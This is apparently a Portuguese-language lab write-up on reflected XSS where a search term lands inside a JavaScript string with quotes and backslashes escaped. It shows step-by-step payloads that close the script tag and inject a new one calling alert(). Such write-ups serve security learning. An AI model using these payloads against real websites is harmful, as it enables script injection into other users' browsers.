> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# XSS em uma String JavaScript com Apóstrofo e Barra Invertida Escapados

### XSS refletido em uma string JavaScript com aspas simples e barra invertida escapadas

XSS refletido no recurso de rastreamento de termos de pesquisa. O valor refletido é inserido em uma string JavaScript; apóstrofos simples e barras invertidas foram escapados, dificultando escapar.

Objetivo

* Saia da string JavaScript escapada e chame `alert()`.

<figure><img src="/files/b8d48a94375b8c94770019e8a04488aeafd66c2c" alt=""><figcaption></figcaption></figure>

Observações atuais

* Se `teste` é enviado, o valor é armazenado no `searchTerm` variável do script.
* Tentar introduzir uma nova variável:/ `testing'; var=test='thisIsATest`/ → Observa-se que aspas e barras invertidas () são injetadas/presentes e impedem a injeção direta.

```bash
testing'; var=test='thisIsATest
```

* Basta inserir a tag de fechamento do script para encerrar o contexto do script: `</script>`

```javascript
</script>
```

<figure><img src="/files/8cd96b090c9572f45c0c5b481632575638bf6005" alt=""><figcaption></figcaption></figure>

* Após o fechamento, texto HTML simples pode ser renderizado: `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="/files/99c3ad8875dacb7e5249bf7ad84d6d6a787dc6a5" alt=""><figcaption></figcaption></figure>

* E, por fim, é possível executar um `alert` ao adicionar um novo `<script>` após o fechamento: `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="/files/4ba3a150cd253a27d445041b4347fa1290748970" alt=""><figcaption></figcaption></figure>


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